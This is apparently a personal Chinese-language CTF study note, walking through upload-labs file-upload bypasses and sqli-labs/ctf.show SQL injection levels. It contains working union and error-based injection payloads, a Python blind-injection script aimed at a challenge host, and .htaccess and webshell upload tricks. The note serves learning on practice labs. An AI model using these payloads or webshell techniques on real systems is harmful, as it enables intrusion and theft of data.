(上传一句话木马,用蚁剑链接验证是否成功/传有回显的:<?php phpinfo();?>)
学看代码
#function checkfile(){}:定义了一个名叫checkfile的函数
#var file=方法.(获取名为‘upload_file’的元素)[获取哪些,第一行].获取元素的value属性
【if】判断1:是否上传了
#var 允许上传文件类型:.jpg .png .gif
提取文件后缀名
【if】判断2:检查文件,不符合要求就返回错误
$(var)申明变量
【】判断1:检查$_POST数组中是否有‘submit’(提交键名称)
【】判断2:检查上传路径是否存在
【】判断3:判断文件内容类型
['upload_file']
:这是$_FILES
数组中的一个元素,对应于表单中name
属性为upload_file
的<input type="file">
元素
['type']
是$_FILES['upload_file']
数组中的一个键,它包含了上传文件的MIME类型
【】路径:UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
点是PHP中的字符串连接操作符,UPLOAD_PATH
/
上传文件名连接起来,形成一个完整的文件路径
【】判断1、2:上传了文件
(定义不允许上传类型的后缀的数组)
(文件名处理)删头尾空格,删末尾点;
(找后缀处理)找最后一个点之后部分,小写后缀,去除后缀中‘::$DATA’,去除后缀头尾的空
【】判断3:检查文件扩展名是否在禁止上传的扩展名列表中
构造上传文件的目标路径(包括一个基于当前日期和时间的目录,以及一个随机数,以减少文件名冲突的可能性)
【】再判断上传的文件从临时目录移动到目标目录是否成功
#严谨了后缀,(禁了ini,没禁htaceess)
#(没禁ini)
WP
一、前端验证:禁用js
更通用做法
后缀1.jpg,bp抓包改1.php
或删除js代码(新文件后缀html)+action="上传地址"
二、(MIME:Content-Type)
bp抓包改成源码中允许上传的type
<img src="C:\Users\34652\Pictures\Screenshots\屏幕截图 2024-12-20 235722.png" alt="屏幕截图 2024-12-20 235722" style="zoom: 50%;" />
三、前端验证(黑名单:格式后缀)【特殊解析后缀:】
<img src="C:\Users\34652\Pictures\Screenshots\屏幕截图 2024-12-20 235826.png" alt="屏幕截图 2024-12-20 235826" style="zoom:50%;" />
【.png怎么执行】四、(黑名单:禁用特殊解析后缀;防止大小写绕过)
htaccess文件是Apache服务器中的一个配置文件,负责相关目录下的网页配置。
(网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能)
通俗点来说,利用这个文件,修改服务器的配置,让服务器将文件内容符合php语法的.png结尾的文件解析为php语言去执行。
上传一个同名.htaccess文件(文件名必须一致)SetHandler application/x-httpd-php
五、(少了大小写绕过:利用)
.PHp
六,七、(少了收尾去空),(少了收尾去点)【Windows】
八、(少了去除字符串)
九、十(只匹配替换一次)双写绕过
.pphphp
十一、十二、(后缀名是白名单,但看别的函参)
$save_path:%00截断
(用bp,url解码)
十三、
图片马,末尾加码
十四、getimagesize
函数的重点——fread2字节:
POINTs:
POST有什么特点:账户登录页面
读报错信息:for the right syntax to use near 类似的...
判断是否存在sql注入
联合注入,
报错注入:extractvalue()、updatexml()、group by()
sql注入——报错注入-CSDN博客
布尔盲注
import requests
import timeurl = "http://43d7c6c4-a8ab-41f3-8e14-fc32c023ca20.challenge.ctf.show/"
payload = {"uname" : "","passwd" : "123456","submit" : "Submit"
}
result = ""
for i in range(1,100):l = 33r =130mid = (l+r)>>1while(l<r):# 跑库名#"-1\" or 0^" + "(ascii(substr((SeleCt/**/grOUp_conCAt(schema_name)/**/fROm/**/information_schema.schemata),{0},1))>{1})-- ".format(i, mid)# 跑表名#"-1\" or 0^" + "(ascii(substr((SeleCt/**/grOUp_conCAt(table_name)/**/fROm/**/information_schema.tables/**/wHERe/**/table_schema/**/like/**/'ctfshow'),{0},1))>{1})-- ".format(i, mid)# 跑列名#"-1\" or 0^" + "(ascii(substr((Select/**/groUp_coNcat(column_name)frOm/**/information_schema.columns/**/Where/**/table_name/**/like/**/'flagb'),{0},1))>{1})-- ".format(i,mid)########################"-1\" or 0^" + "(ascii(substr((select(flag4s)from(ctfshow.flagb)),{0},1))>{1})-- ".format(i, mid)payload["uname"] ="-1\" or 0^" + "(ascii(substr((select(flag4s)from(ctfshow.flagb)),{0},1))>{1})-- ".format(i, mid)html = requests.post(url,data=payload)print(payload)if "/images/flag.jpg" in html.text:l = mid+1else:r = midmid = (l+r)>>1if(chr(mid)==" "):breakresult = result + chr(mid)print(result)
print("flag: " ,result)
问为什么不能用--+注释:
-- ;--+;#
多了个Base64编码,且读取要用到【select reverse()】
11:双参数
1
1':有报错
1' or 1=1#
1' union select 1,2#
回显位是2
uname=1' and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata--+&passwd=123456&submit=Submit
(table_name)
information_schema.tables
where table_schema='ctfshow'--+【schema_name】
(column_name)
information_schema.columns
where table_name='flagugsd'--+
uname=1' and 1=2 union select 1,group_concat(flag43s) from ctfshow.flagugsd--+&passwd=123456&submit=Submit
12:
1;1'
1":有报错
1") or 1=1#
1") union select 1,2#
13:单引号
用\报错
14:双引号
15:(没有报错信息)布尔盲注
测闭合,测回显位(盲注不用)
16:布尔盲注
1") or = --+登陆成功
17:【密码RESET界面】报错注入【代码有报错】
查看源码:
$value(账户名)获取、处理(删除\,转义特殊字符,数字变整数)
从$update注入
uname=DUMB&passwd=123456&submit=Submit' and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e))--+
18:(ip)
返回了User Agent【U-A注入】
【POST:
uname=DUMB&passwd=DUMB&submit=Submit】
【schema_name】
' and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e)) and '1'='1
【table_name】
' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e)) and '1'='1
【column_name】
' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flag'),0x7e)) and '1'='1
【获取字段值】
' and extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e)) and '1'='1
【逆读】
' and extractvalue(1,concat(0x7e,(select reverse(group_concat(flag4)) from ctfshow.flag),0x7e)) and '1'='1
19:referer注入
(和U-A一样)
20:cookie注入
登录得到回显(包括了自己的cookie)
【检查了POST,存在COOKIE方式提交的uname变量】
猜测在header里的cookie进行注入
1'测注入点,测闭合方式
爆库
uname=' and extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e)) and '1'='1
21:
多了个Base64编码
该版本sqli-labs结束.